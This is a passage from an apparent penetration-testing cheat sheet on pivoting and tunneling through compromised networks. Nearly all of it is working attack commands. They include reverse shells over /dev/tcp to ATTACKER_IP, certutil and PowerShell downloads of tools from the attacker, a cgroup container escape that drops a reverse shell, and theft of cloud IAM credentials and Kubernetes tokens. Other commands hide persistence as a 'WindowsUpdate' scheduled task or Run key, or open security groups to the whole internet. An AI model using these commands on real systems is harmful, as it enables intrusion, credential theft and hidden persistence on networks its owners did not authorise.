set RHOSTS 192.168.1.0/24
run

# === SESSION PASSING (HANDLER) ===

# Setup handler for pivoted sessions
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 0.0.0.0
set LPORT 4444
exploit -j

# Sessions will route back through pivot automatically

# === METERPRETER REVERSE TUNNEL ===

# Background current session
meterpreter > background

# Create reverse tunnel in meterpreter
meterpreter > portfwd add -R -l 8080 -p 80 -L 0.0.0.0

# Internal hosts can now access attacker's port 80 via pivot's port 8080

# === MULTI-HOP PIVOTING ===

# Scenario: Attacker → Pivot1 → Pivot2 → Internal

# Session 1 on Pivot1
use post/multi/manage/autoroute
set SESSION 1
set SUBNET 192.168.1.0/24
run

# Exploit Pivot2 through Pivot1
use exploit/windows/smb/psexec
set RHOSTS 192.168.1.50
set PAYLOAD windows/meterpreter/reverse_tcp
exploit

# Session 2 on Pivot2, add next route
use post/multi/manage/autoroute
set SESSION 2
set SUBNET 10.10.10.0/24
run

# Now exploit internal targets
use exploit/windows/smb/psexec
set RHOSTS 10.10.10.100
exploit

# === SOCKS PROXY WITH REVERSE CONNECTION ===

# For situations where outbound is blocked
# Use reverse_tcp payload with portfwd

# On pivot (meterpreter session)
meterpreter > portfwd add -R -l 1080 -p 1080 -L ATTACKER_IP

# On attacker, setup SOCKS server
use auxiliary/server/socks_proxy
set SRVHOST 0.0.0.0
set SRVPORT 1080
run -j

# Internal hosts use pivot as SOCKS proxy

# === PIVOTING BEST PRACTICES ===

# Use multiple routes for redundancy
route add 192.168.1.0/24 SESSION_1
route add 192.168.1.0/24 SESSION_2

# Monitor active sessions
sessions -l
sessions -v

# Session keep-alive
set AutoRunScript post/windows/manage/migrate

# === PERSISTENCE FOR PIVOT ===

# In meterpreter session
run persistence -X -i 60 -p 4444 -r ATTACKER_IP

# Background and re-establish if lost
background
sessions -i <session_id>

# === TROUBLESHOOTING ===

# Check routes are active
route print

# Verify SOCKS is working
curl --socks5 127.0.0.1:1080 http://TARGET_IP

# Check jobs
jobs

# Session info
sessions -i <session_id>
info

# Kill hung session
sessions -k <session_id>

# === CLEANUP ===

# Remove routes
route delete 192.168.1.0/24 SESSION_ID

# Stop SOCKS proxy
jobs
kill <job_id>

# Clear port forwards
meterpreter > portfwd flush

# Kill sessions
sessions -K

Socat Tunneling
#

# === BASIC PORT FORWARDING ===

# Listen on 8080, forward to TARGET_IP:80
socat TCP-LISTEN:8080,fork TCP:TARGET_IP:80

# Background execution
socat TCP-LISTEN:8080,fork TCP:TARGET_IP:80 &

# Bind to specific interface
socat TCP-LISTEN:8080,bind=192.168.1.100,fork TCP:TARGET_IP:80

# === REVERSE SHELL RELAY ===

# Relay reverse shell through pivot
# On attacker (listener)
nc -lvnp 4444

# On pivot (relay)
socat TCP-LISTEN:4445,fork TCP:ATTACKER_IP:4444

# On target (connect to pivot)
bash -i >& /dev/tcp/PIVOT_IP/4445 0>&1

# === SSL/TLS ENCRYPTED TUNNELS ===

# Generate certificate
openssl req -new -x509 -days 365 -nodes -out cert.pem -keyout cert.pem

# Encrypted listener (on attacker)
socat OPENSSL-LISTEN:443,cert=cert.pem,verify=0,fork TCP:localhost:4444

# Encrypted client (on pivot)
socat TCP-LISTEN:8080,fork OPENSSL:ATTACKER_IP:443,verify=0

# === UDP FORWARDING ===

# Forward UDP traffic
socat UDP-LISTEN:161,fork UDP:TARGET_IP:161

# UDP to TCP conversion
socat UDP-LISTEN:53,fork TCP:DNS_SERVER:53

# === DYNAMIC PORT FORWARDING ===

# Create SOCKS-like functionality
# Requires multiple socat instances for each service

# Example: Forward multiple RDP sessions
socat TCP-LISTEN:3389,fork TCP:TARGET1:3389 &
socat TCP-LISTEN:3390,fork TCP:TARGET2:3389 &
socat TCP-LISTEN:3391,fork TCP:TARGET3:3389 &

# === STDIO REDIRECTION ===

# Forward shell input/output
socat TCP-LISTEN:8080,fork EXEC:/bin/bash

# Interactive shell with TTY
socat TCP-LISTEN:8080,fork EXEC:'/bin/bash',pty,stderr,setsid,sigint,sane

# === FILE TRANSFER ===

# Receiver
socat TCP-LISTEN:8080,fork OPEN:received_file.zip,creat

# Sender
socat OPEN:file.zip TCP:RECEIVER_IP:8080

# === REVERSE PORT FORWARD ===

# On attacker (listener for reverse forward)
socat TCP-LISTEN:8080,fork TCP-LISTEN:8081

# On pivot (connect back and forward)
socat TCP:ATTACKER_IP:8080 TCP:INTERNAL_TARGET:80

# === MULTI-HOP WITH SOCAT ===

# Chain through multiple pivots
# Pivot1
socat TCP-LISTEN:8080,fork TCP:PIVOT2:8080

# Pivot2
socat TCP-LISTEN:8080,fork TCP:TARGET:80

# Access from attacker
curl http://PIVOT1:8080

# === ENCRYPTED MULTI-HOP ===

# Pivot1 (encrypted listener)
socat OPENSSL-LISTEN:443,cert=cert.pem,verify=0,fork TCP:PIVOT2:8080

# Pivot2 (encrypted client to next hop)
socat TCP-LISTEN:8080,fork OPENSSL:PIVOT3:443,verify=0

# === SOCAT AS PERSISTENT SERVICE ===

# Linux systemd
cat > /etc/systemd/system/socat-tunnel.service << 'EOF'
[Unit]
Description=Socat Tunnel
After=network.target

[Service]
Type=simple
ExecStart=/usr/bin/socat TCP-LISTEN:8080,fork TCP:TARGET_IP:80
Restart=always

[Install]
WantedBy=multi-user.target
EOF

systemctl enable socat-tunnel
systemctl start socat-tunnel

# === SOCAT WITH IPTABLES ===

# Redirect local traffic to socat listener
iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-ports 8080

# Socat forwards to target
socat TCP-LISTEN:8080,fork TCP:TARGET_IP:80

# === TROUBLESHOOTING ===

# Verbose mode
socat -d -d TCP-LISTEN:8080,fork TCP:TARGET_IP:80

# Very verbose
socat -d -d -d -d TCP-LISTEN:8080,fork TCP:TARGET_IP:80

# Test connection
echo "test" | socat - TCP:localhost:8080

# Check listening ports
netstat -tlnp | grep socat
lsof -i -P | grep socat

# === CLEANUP ===

# Kill socat processes
pkill socat
killall socat

# Kill specific socat
ps aux | grep socat
kill <PID>

Plink (PuTTY Link) for Windows#

# === DOWNLOAD PLINK ===

# Download from attacker
certutil -urlcache -f http://ATTACKER_IP/plink.exe plink.exe

# Or with PowerShell
Invoke-WebRequest -Uri http://ATTACKER_IP/plink.exe -OutFile plink.exe

# === LOCAL PORT FORWARDING ===

# Forward local 8080 to TARGET:80 via pivot
plink.exe -L 8080:TARGET_IP:80 user@PIVOT_HOST -P 22 -pw password

# Background execution (auto-accept key)
cmd /c echo y | plink.exe -L 8080:TARGET_IP:80 user@PIVOT_HOST -pw password

# With SSH key
plink.exe -L 8080:TARGET_IP:80 -i key.ppk user@PIVOT_HOST

# Multiple forwards
plink.exe -L 8080:TARGET1:80 -L 3389:TARGET2:3389 -L 445:TARGET3:445 user@PIVOT_HOST -pw password

# === DYNAMIC SOCKS PROXY ===

# Create SOCKS proxy
plink.exe -D 1080 user@PIVOT_HOST -pw password

# Auto-accept host key
cmd /c echo y | plink.exe -D 1080 user@PIVOT_HOST -pw password

# === REMOTE PORT FORWARDING (REVERSE TUNNEL) ===

# Forward pivot's 8080 to attacker's localhost:80
plink.exe -R 8080:localhost:80 user@PIVOT_HOST -pw password

# Reverse shell through plink
plink.exe -R 4444:localhost:4444 user@PIVOT_HOST -pw password

# On pivot, connect to localhost:4444 to reach attacker's 4444

# === PERSISTENT PLINK TUNNEL ===

# Create scheduled task
schtasks /create /tn "WindowsUpdate" /tr "C:\Windows\Temp\plink.exe -D 1080 user@PIVOT_HOST -pw password" /sc onstart /ru SYSTEM /f

# Start task
schtasks /run /tn "WindowsUpdate"

# Or with registry Run key
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Update" /t REG_SZ /d "C:\Temp\plink.exe -D 1080 user@PIVOT_HOST -pw password" /f

# === PLINK WITH SSH KEY ===

# Convert OpenSSH key to PuTTY format
# On Linux with PuTTYgen
puttygen id_rsa -o key.ppk

# Use key with plink
plink.exe -L 8080:TARGET:80 -i key.ppk user@PIVOT_HOST

# === PLINK OPTIONS ===

# Keep-alive
plink.exe -D 1080 -N user@PIVOT_HOST -pw password

# Compression
plink.exe -C -D 1080 user@PIVOT_HOST -pw password

# Specific SSH version
plink.exe -2 -D 1080 user@PIVOT_HOST -pw password

# === PLINK BATCH SCRIPT ===

@echo off
echo y | plink.exe -D 1080 -N -C user@PIVOT_HOST -pw password
if %errorlevel% neq 0 (
    timeout /t 30
    goto :start
)

# Save as tunnel.bat and run

# === TROUBLESHOOTING ===

# Verbose mode
plink.exe -v -D 1080 user@PIVOT_HOST -pw password

# Test connection
plink.exe user@PIVOT_HOST -pw password "echo test"

# Check if tunnel is active
netstat -ano | findstr 1080

# === CLEANUP ===

# Kill plink
taskkill /F /IM plink.exe

# Remove scheduled task
schtasks /delete /tn "WindowsUpdate" /f

# Remove registry entry
reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Update" /f

Netsh Port Forwarding (Windows)
#

# === BASIC PORT FORWARDING ===

# Add port proxy (Windows built-in)
netsh interface portproxy add v4tov4 listenport=8080 listenaddress=0.0.0.0 connectport=80 connectaddress=TARGET_IP

# Forward multiple ports
netsh interface portproxy add v4tov4 listenport=3389 listenaddress=0.0.0.0 connectport=3389 connectaddress=192.168.1.10
netsh interface portproxy add v4tov4 listenport=445 listenaddress=0.0.0.0 connectport=445 connectaddress=192.168.1.10

# List all port proxies
netsh interface portproxy show all
netsh interface portproxy show v4tov4

# === SPECIFIC INTERFACE BINDING ===

# Bind to specific IP
netsh interface portproxy add v4tov4 listenport=8080 listenaddress=192.168.1.100 connectport=80 connectaddress=TARGET_IP

# === FIREWALL RULES ===

# Allow incoming connections to forwarded port
netsh advfirewall firewall add rule name="Port Forward 8080" protocol=TCP dir=in localport=8080 action=allow

# Or with PowerShell
New-NetFirewallRule -DisplayName "Port Forward 8080" -Direction Inbound -LocalPort 8080 -Protocol TCP -Action Allow

# === DELETE PORT PROXY ===

# Delete specific proxy
netsh interface portproxy delete v4tov4 listenport=8080 listenaddress=0.0.0.0

# Delete all proxies
netsh interface portproxy reset

# === IPv6 TO IPv4 FORWARDING ===

# Forward IPv6 to IPv4
netsh interface portproxy add v6tov4 listenport=8080 listenaddress=:: connectport=80 connectaddress=TARGET_IP

# === PERSISTENCE ===

# Netsh port proxy persists across reboots automatically
# Verify after reboot
netsh interface portproxy show v4tov4

# === USE CASES ===

# Expose RDP through pivot
netsh interface portproxy add v4tov4 listenport=3389 listenaddress=0.0.0.0 connectport=3389 connectaddress=INTERNAL_DC

# Access from attacker
xfreerdp /v:PIVOT_IP:3389 /u:Administrator /p:password

# Expose SMB share
netsh interface portproxy add v4tov4 listenport=445 listenaddress=0.0.0.0 connectport=445 connectaddress=FILESERVER_IP

# Access from attacker
smbclient //PIVOT_IP/share -U user%password

# === MONITORING ===

# Check connections to proxy
netstat -ano | findstr 8080

# === LIMITATIONS ===

# Only works for TCP
# Requires local admin rights
# Persists in registry (leaves artifacts)
# Limited to port forwarding (no SOCKS)

# === CLEANUP ===

# Remove all proxies
netsh interface portproxy reset

# Remove firewall rules
netsh advfirewall firewall delete rule name="Port Forward 8080"

# Or with PowerShell
Remove-NetFirewallRule -DisplayName "Port Forward 8080"

Stunnel (SSL/TLS Wrapper)
#

# === INSTALL STUNNEL ===

# Linux
apt-get install stunnel4
yum install stunnel

# === BASIC ENCRYPTED TUNNEL ===

# Generate certificate
openssl req -new -x509 -days 365 -nodes -out stunnel.pem -keyout stunnel.pem
cat stunnel.pem stunnel.pem > stunnel-combined.pem

# Server configuration
cat > /etc/stunnel/stunnel.conf << 'EOF'
[https]
accept = 443
connect = 127.0.0.1:80
cert = /etc/stunnel/stunnel.pem
EOF

# Client configuration
cat > /etc/stunnel/stunnel-client.conf << 'EOF'
client = yes

[https]
accept = 127.0.0.1:8080
connect = SERVER_IP:443
EOF

# Start server
stunnel /etc/stunnel/stunnel.conf

# Start client
stunnel /etc/stunnel/stunnel-client.conf

# Access
curl http://localhost:8080

# === REVERSE SHELL ENCRYPTION ===

# Server (attacker)
cat > stunnel-server.conf << 'EOF'
[shell]
accept = 443
connect = 127.0.0.1:4444
cert = stunnel.pem
EOF

stunnel stunnel-server.conf
nc -lvnp 4444

# Client (target)
cat > stunnel-client.conf << 'EOF'
client = yes

[shell]
accept = 127.0.0.1:4445
connect = ATTACKER_IP:443
EOF

stunnel stunnel-client.conf
bash -i >& /dev/tcp/localhost/4445 0>&1

# === STUNNEL FOR SOCKS ===

# Encrypt SOCKS proxy traffic
# Server
cat > stunnel-socks-server.conf << 'EOF'
[socks]
accept = 443
connect = 127.0.0.1:1080
cert = stunnel.pem
EOF

# Client
cat > stunnel-socks-client.conf << 'EOF'
client = yes

[socks]
accept = 127.0.0.1:1081
connect = SERVER_IP:443
EOF

# Configure proxychains to use localhost:1081

# === STUNNEL WITH CLIENT CERTIFICATE (MUTUAL TLS) ===

# Generate client certificate
openssl req -new -x509 -days 365 -nodes -out client.pem -keyout client.pem

# Server config (require client cert)
cat > stunnel-server.conf << 'EOF'
[service]
accept = 443
connect = 127.0.0.1:80
cert = server.pem
CAfile = client.pem
verify = 2
EOF

# Client config (provide cert)
cat > stunnel-client.conf << 'EOF'
client = yes

[service]
accept = 127.0.0.1:8080
connect = SERVER_IP:443
cert = client.pem
CAfile = server.pem
verify = 2
EOF

# === STUNNEL AS SYSTEMD SERVICE ===

cat > /etc/systemd/system/stunnel.service << 'EOF'
[Unit]
Description=Stunnel SSL Tunnel
After=network.target

[Service]
Type=forking
ExecStart=/usr/bin/stunnel /etc/stunnel/stunnel.conf
Restart=always

[Install]
WantedBy=multi-user.target
EOF

systemctl enable stunnel
systemctl start stunnel

# === WINDOWS STUNNEL ===

# Download stunnel for Windows
# Configure similar to Linux

# stunnel.conf
cert = C:\stunnel\stunnel.pem
[service]
accept = 443
connect = 127.0.0.1:80

# Run as service
stunnel.exe -install

# === TROUBLESHOOTING ===

# Debug mode
stunnel -D 7 /etc/stunnel/stunnel.conf

# Check logs
tail -f /var/log/stunnel4/stunnel.log

# Test certificate
openssl s_client -connect SERVER_IP:443 -showcerts

# === CLEANUP ===

# Stop stunnel
pkill stunnel

# Remove systemd service
systemctl stop stunnel
systemctl disable stunnel
rm /etc/systemd/system/stunnel.service

Cloud & Container Pivoting
#

# === AWS METADATA SERVICE ===

# Access instance metadata (from compromised EC2)
curl http://169.254.169.254/latest/meta-data/

# Get IAM credentials
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name>

# IMDSv2 (requires token)
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/

# User data (may contain secrets)
curl http://169.254.169.254/latest/user-data/

# Configure AWS CLI with stolen credentials
export AWS_ACCESS_KEY_ID=AKIA...
export AWS_SECRET_ACCESS_KEY=...
export AWS_SESSION_TOKEN=...

# Enumerate AWS resources
aws sts get-caller-identity
aws s3 ls
aws ec2 describe-instances

# === AZURE METADATA SERVICE ===

# Access instance metadata
curl -H "Metadata:true" "http://169.254.169.254/metadata/instance?api-version=2021-02-01"

# Get access token
curl -H "Metadata:true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"

# Use token
TOKEN=$(curl -H "Metadata:true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" | jq -r .access_token)

# Enumerate Azure resources
curl -H "Authorization: Bearer $TOKEN" "https://management.azure.com/subscriptions?api-version=2020-01-01"

# === GCP METADATA SERVICE ===

# Access metadata
curl "http://metadata.google.internal/computeMetadata/v1/?recursive=true" -H "Metadata-Flavor: Google"

# Get access token
curl "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token" -H "Metadata-Flavor: Google"

# Get service account email
curl "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/email" -H "Metadata-Flavor: Google"

# === DOCKER CONTAINER ESCAPE ===

# Check if in container
cat /.dockerenv
ls -la /.dockerenv

# Check capabilities
capsh --print

# Privileged container escape (CAP_SYS_ADMIN)
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent
echo '#!/bin/sh' > /cmd
echo "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1" >> /cmd
chmod a+x /cmd
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

# Docker socket mounted (/var/run/docker.sock)
ls -la /var/run/docker.sock

# If accessible, escape to host
docker run -v /:/mnt --rm -it alpine chroot /mnt sh

# === KUBERNETES PIVOTING ===

# Check if in pod
ls /var/run/secrets/kubernetes.io/serviceaccount/

# Get service account token
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
CACERT=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt

# Get API server
APISERVER=https://kubernetes.default.svc

# List pods
curl --cacert $CACERT --header "Authorization: Bearer $TOKEN" $APISERVER/api/v1/namespaces/default/pods

# Execute command in pod
curl --cacert $CACERT --header "Authorization: Bearer $TOKEN" -X POST $APISERVER/api/v1/namespaces/default/pods/<pod-name>/exec?command=ls&stdout=true

# Install kubectl (if not present)
curl -LO "https://dl.k8s.io/release/$(curl -L -s https://dl.k8s.io/release/stable.txt)/bin/linux/amd64/kubectl"
chmod +x kubectl

# Use service account
./kubectl --token=$TOKEN --certificate-authority=$CACERT --server=$APISERVER get pods

# === CONTAINER NETWORK PIVOTING ===

# From container, pivot to other containers/services
# Most containers share network with host or bridge

# Scan container network
nmap -sT 172.17.0.0/24

# Access other containers
curl http://172.17.0.2:80

# Access Kubernetes services
curl http://service-name.namespace.svc.cluster.local

# === CLOUD SHELL / BASTION PIVOTING ===

# If you gain access to cloud shell/bastion

# AWS Cloud Shell - full AWS CLI access
aws sts get-caller-identity

# Azure Cloud Shell - full Azure CLI access
az account show

# GCP Cloud Shell - full gcloud access
gcloud config list

# Use as pivot point for internal cloud resources
# Internal IPs are often accessible

# === SERVERLESS / LAMBDA PIVOTING ===

# From Lambda function
# Can access VPC resources if attached to VPC

# Get metadata from Lambda
curl http://169.254.169.254/latest/meta-data/

# Pivot to VPC resources
import socket
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(("internal-db.vpc.local", 5432))

# === SSRF FOR METADATA ACCESS ===

# If you find SSRF vulnerability, target metadata

# AWS
http://169.254.169.254/latest/meta-data/iam/security-credentials/

# Azure
http://169.254.169.254/metadata/instance?api-version=2021-02-01

# GCP
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token

# === CLOUD SECURITY GROUP PIVOTING ===

# Modify security groups to allow access
# AWS
aws ec2 authorize-security-group-ingress --group-id sg-xxxxx --protocol tcp --port 22 --cidr 0.0.0.0/0

# Azure
az network nsg rule create --resource-group RG --nsg-name NSG --name AllowSSH --priority 100 --source-address-prefixes '*' --destination-port-ranges 22 --access Allow

# GCP
gcloud compute firewall-rules create allow-ssh --allow tcp:22 --source-ranges 0.0.0.0/0

Additional Pivoting Techniques
#

Revsocks (Reverse SOCKS Proxy)
#

# === CONCEPT ===
# Creates reverse SOCKS proxy from compromised host back to attacker
# Useful when target can't accept incoming connections

# === SETUP ===

# On attacker (listener)
./revsocks -listen :8000 -socks 127.0.0.1:1080

# On compromised host (connect back)
./revsocks -connect ATTACKER_IP:8000 -pass SecretPassword

# Windows
.\revsocks.exe -connect ATTACKER_IP:8000 -pass SecretPassword

# === USAGE ===

# Configure proxychains
echo "socks5 127.0.0.1 1080" >> /etc/proxychains4.conf

# Use tools through proxy
proxychains4 nmap -sT TARGET_INTERNAL_IP
proxychains4 psexec.py domain/user@INTERNAL_TARGET

# === WITH AUTHENTICATION ===

# Server with password
./revsocks -listen :8000 -socks 127.0.0.1:1080 -pass SecretPassword

# Client with password
./revsocks -connect ATTACKER_IP:8000 -pass SecretPassword

# === MULTIPLE CLIENTS ===

# Multiple compromised hosts can connect to same listener
# Each creates its own reverse tunnel

# Client 1
./revsocks -connect ATTACKER_IP:8000 -pass Pass1

# Client 2
./revsocks -connect ATTACKER_IP:8000 -pass Pass2

# === TROUBLESHOOTING ===

# Verbose mode
./revsocks -listen :8000 -socks 127.0.0.1:1080 -v

# Test connection
curl -x socks5://127.0.0.1:1080 http://internal-target

SSF (Secure Socket Funneling)
#

# === CONCEPT ===
# TLS encrypted tunneling with multiple features
# SOCKS, port forwarding, shell, file transfer

# === BASIC SOCKS PROXY ===

# Server (on pivot/attacker)
./ssfd -p 8000

# Client (on compromised host)
./ssf -D 1080 -p 8000 ATTACKER_IP

# === PORT FORWARDING ===

# Local forward
./ssf -L 8080:TARGET_IP:80 -p 8000 ATTACKER_IP

# Remote forward
./ssf -R 8080:localhost:80 -p 8000 ATTACKER_IP

# === ENCRYPTED TUNNEL ===

# Generate certificates
./ssf-keygen

# Server with encryption
./ssfd -p 8000 -c ./certs/certificate.crt -k ./certs/private.key -C ./certs/dh4096.pem

# Client with encryption
./ssf -D 1080 -p 8000 ATTACKER_IP

# === SHELL ===

# Execute remote shell through tunnel
./ssf -X -p 8000 ATTACKER_IP

# === FILE TRANSFER ===

# Copy file through tunnel
./ssf -p 8000 ATTACKER_IP -F ./local_file:/remote/path/file

Rpivot (Reverse Pivot)
#

# === CONCEPT ===
# Python-based reverse SOCKS proxy
# Good for Windows targets with Python

# === SETUP ===

# On attacker (server)
python server.py --proxy-port 1080 --server-port 9999 --server-ip 0.0.0.0

# On compromised host (client)
python client.py --server-ip ATTACKER_IP --server-port 9999

# Windows
python.exe client.py --server-ip ATTACKER_IP --server-port 9999

# === USAGE ===

# Configure proxychains
echo "socks4 127.0.0.1 1080" >> /etc/proxychains4.conf

# Use through proxy
proxychains4 nmap -sT INTERNAL_TARGET

# === WITH NTLM AUTH ===

# If target requires NTLM authentication
python client.py --server-ip ATTACKER_IP --server-port 9999 --ntlm-proxy-ip PROXY_IP --ntlm-proxy-port 8080 --domain DOMAIN --username user --password pass

DNS Tunneling
#

# === DNSCAT2 ===

# Server (on attacker with authoritative DNS)
dnscat2-server domain.com

# Client (on compromised host)
./dnscat domain.com

# Windows
.\dnscat2.exe domain.com

# Create command session
session -i 1
shell

# Port forwarding through DNS
listen 127.0.0.1:8080 TARGET_IP:80

# === IODINE ===

# Server (requires root and authoritative DNS)
sudo iodined -f -c -P SecretPassword 10.0.0.1 tunnel.domain.com

# Client
sudo iodine -f -P SecretPassword tunnel.domain.com

# After connection, tunnel is at 10.0.0.1
ssh user@10.0.0.2  # Through DNS tunnel

# === DNS2TCP ===

# Server configuration
cat > dns2tcpd.conf << 'EOF'
listen = 0.0.0.0
port = 53
domain = tunnel.domain.com
resources = ssh:127.0.0.1:22, http:127.0.0.1:80
EOF

# Start server
dns2tcpd -f dns2tcpd.conf

# Client
dns2tcpc -r ssh -z tunnel.domain.com -l 2222

# Access through tunnel
ssh user@localhost -p 2222

ICMP Tunneling
#

# === ICMPTUNNEL ===

# Server (attacker, requires root)
sudo ./icmptunnel -s

# Client (compromised host, requires root)
sudo ./icmptunnel ATTACKER_IP

# === PTUNNEL ===

# Server
sudo ptunnel

# Client (tunnel SSH through ICMP)
sudo ptunnel -p ATTACKER_IP -lp 8000 -da INTERNAL_TARGET -dp 22

# Connect through tunnel
ssh user@localhost -p 8000

# === PINGTUNNEL ===

# Server
sudo ./pingtunnel -type server

# Client (SOCKS proxy over ICMP)
./pingtunnel -type client -l 127.0.0.1:1080 -s ATTACKER_IP

HTTP/HTTPS Tunneling
#

# === PROXYTUNNEL ===

# Tunnel SSH through HTTP proxy
proxytunnel -p HTTP_PROXY:8080 -d TARGET_IP:22 -a 8022

# Connect through tunnel
ssh user@localhost -p 8022

# === CORKSCREW ===

# SSH through HTTP proxy
ssh -o ProxyCommand="corkscrew HTTP_PROXY 8080 %h %p" user@TARGET_IP

# SSH config
cat >> ~/.ssh/config << 'EOF'
Host internal
    HostName INTERNAL_TARGET
    ProxyCommand corkscrew HTTP_PROXY 8080 %h %p
EOF

# === HTTP TUNNEL WITH SOCAT ===

# Create HTTP tunnel
socat TCP-LISTEN:8080 PROXY:HTTP_PROXY:TARGET_IP:80,proxyport=8080

# === REGEORG (HTTP SOCKS) ===

# Upload tunnel script to web server
# tunnel.jsp, tunnel.php, tunnel.aspx

# Start client
python reGeorgSocksProxy.py -p 1080 -u http://target.com/tunnel.jsp

# Use SOCKS proxy
proxychains4 nmap -sT INTERNAL_TARGET

# === NEO-REGEORG (MODERN) ===

# Generate encrypted tunnel
python neoreg.py generate -k SecretPassword

# Upload generated script to web server

# Connect
python neoreg.py -k SecretPassword -u http://target.com/tunnel.php

# Configure proxychains with port 1080

WebSocket Tunneling
#

# === WST (WEBSOCKET TUNNEL) ===

# Server (on attacker/accessible server)
wstunnel -s 0.0.0.0:8080

# Client (creates SOCKS proxy)
wstunnel -D 1080 ws://ATTACKER_IP:8080

# Client (port forward)
wstunnel -L 3389:INTERNAL_TARGET:3389 ws://ATTACKER_IP:8080

# === CHISEL OVER WEBSOCKET ===

# Chisel already uses WebSocket by default
./chisel server -p 8080 --reverse
./chisel client ATTACKER_IP:8080 R:socks

VPN Tunneling
#

# === OPENVPN ===

# Generate OpenVPN config on pivot
# Server config
cat > server.conf << 'EOF'
port 1194
proto tcp
dev tun
ca ca.crt
cert server.crt
key server.key
dh dh.pem
server 10.8.0.0 255.255.255.0
push "route 192.168.1.0 255.255.255.0"
keepalive 10 120
comp-lzo
persist-key
persist-tun
status openvpn-status.log
EOF

# Start server
openvpn --config server.conf

# Client connection
openvpn --config client.ovpn

# After connection, route through VPN
ip route add 192.168.1.0/24 via 10.8.0.1

# === WIREGUARD ===

# Install wireguard
apt-get install wireguard

# Generate keys
wg genkey | tee privatekey | wg pubkey > publickey

# Server config
cat > /etc/wireguard/wg0.conf << 'EOF'
[Interface]
PrivateKey = SERVER_PRIVATE_KEY
Address = 10.0.0.1/24
ListenPort = 51820

[Peer]
PublicKey = CLIENT_PUBLIC_KEY
AllowedIPs = 10.0.0.2/32
EOF

# Start server
wg-quick up wg0

# Client config
cat > /etc/wireguard/wg0.conf << 'EOF'
[Interface]
PrivateKey = CLIENT_PRIVATE_KEY
Address = 10.0.0.2/24

[Peer]
PublicKey = SERVER_PUBLIC_KEY
Endpoint = ATTACKER_IP:51820
AllowedIPs = 10.0.0.0/24, 192.168.1.0/24
PersistentKeepalive = 25
EOF

# Start client
wg-quick up wg0

# Route internal network through VPN
ip route add 192.168.1.0/24 via 10.0.0.1

# === SSHUTTLE (VPN OVER SSH) ===

# Tunnel entire subnet over SSH
sshuttle -r user@PIVOT_HOST 192.168.1.0/24

# Multiple subnets
sshuttle -r user@PIVOT_HOST 192.168.1.0/24 10.10.10.0/24

# DNS through tunnel
sshuttle -r user@PIVOT_HOST 192.168.1.0/24 --dns

# Exclude specific IPs
sshuttle -r user@PIVOT_HOST 192.168.1.0/24 -x 192.168.1.1

Pivoting Automation & Management
#

# === ROUTING MANAGEMENT SCRIPT ===

#!/bin/bash
# pivot-manager.sh - Manage pivot routes

ACTION=$1
NETWORK=$2
GATEWAY=$3

case $ACTION in
    add)
        sudo ip route add $NETWORK via $GATEWAY
        echo "[+] Added route: $NETWORK via $GATEWAY"
        ;;
    del)
        sudo ip route del $NETWORK
        echo "[-] Deleted route: $NETWORK"
        ;;
    list)
        echo "[*] Current routes:"
        ip route show
        ;;
    cleanup)
        echo "[*] Cleaning up pivot routes..."
        ip route show | grep ligolo | awk '{print $1}' | xargs -I {} sudo ip route del {}
        ;;
    *)
        echo "Usage: $0 {add|del|list|cleanup} [network] [gateway]"
        exit 1
        ;;
esac

# Usage:
# ./pivot-manager.sh add 192.168.1.0/24 10.8.0.1
# ./pivot-manager.sh list
# ./pivot-manager.sh cleanup

# === TUNNEL HEALTH CHECK ===

#!/bin/bash
# tunnel-health.sh - Monitor tunnel connectivity

TUNNEL_IP="10.8.0.1"
CHECK_INTERVAL=30

while true; do
    if ping -c 1 -W 2 $TUNNEL_IP > /dev/null 2>&1; then
        echo "[$(date)] Tunnel is UP"
    else
        echo "[$(date)] Tunnel is DOWN - Attempting restart"
        # Restart tunnel command here
        systemctl restart ligolo
    fi
    sleep $CHECK_INTERVAL
done

# === PROXYCHAINS PROFILE MANAGER ===

#!/bin/bash
# proxy-profile.sh - Manage multiple proxychains configs

PROFILE=$1
PROXY_DIR="$HOME/.proxychains"

mkdir -p $PROXY_DIR

case $PROFILE in
    ssh)
        cat > $PROXY_DIR/ssh.conf << 'EOF'
strict_chain
proxy_dns
[ProxyList]
socks5 127.0.0.1 1080
EOF
        export PROXYCHAINS_CONF_FILE=$PROXY_DIR/ssh.conf
        ;;
    chisel)
        cat > $PROXY_DIR/chisel.conf << 'EOF'
strict_chain
proxy_dns
[ProxyList]
socks5 127.0.0.1 1080
EOF
        export PROXYCHAINS_CONF_FILE=$PROXY_DIR/chisel.conf
        ;;
    msf)
        cat > $PROXY_DIR/msf.conf << 'EOF'
strict_chain
proxy_dns
[ProxyList]
socks5 127.0.0.1 1080
EOF
        export PROXYCHAINS_CONF_FILE=$PROXY_DIR/msf.conf
        ;;
    chain)
        cat > $PROXY_DIR/chain.conf << 'EOF'
strict_chain
proxy_dns
[ProxyList]
socks5 127.0.0.1 1080
socks5 127.0.0.1 1081
socks5 127.0.0.1 1082
EOF
        export PROXYCHAINS_CONF_FILE=$PROXY_DIR/chain.conf
        ;;
    *)
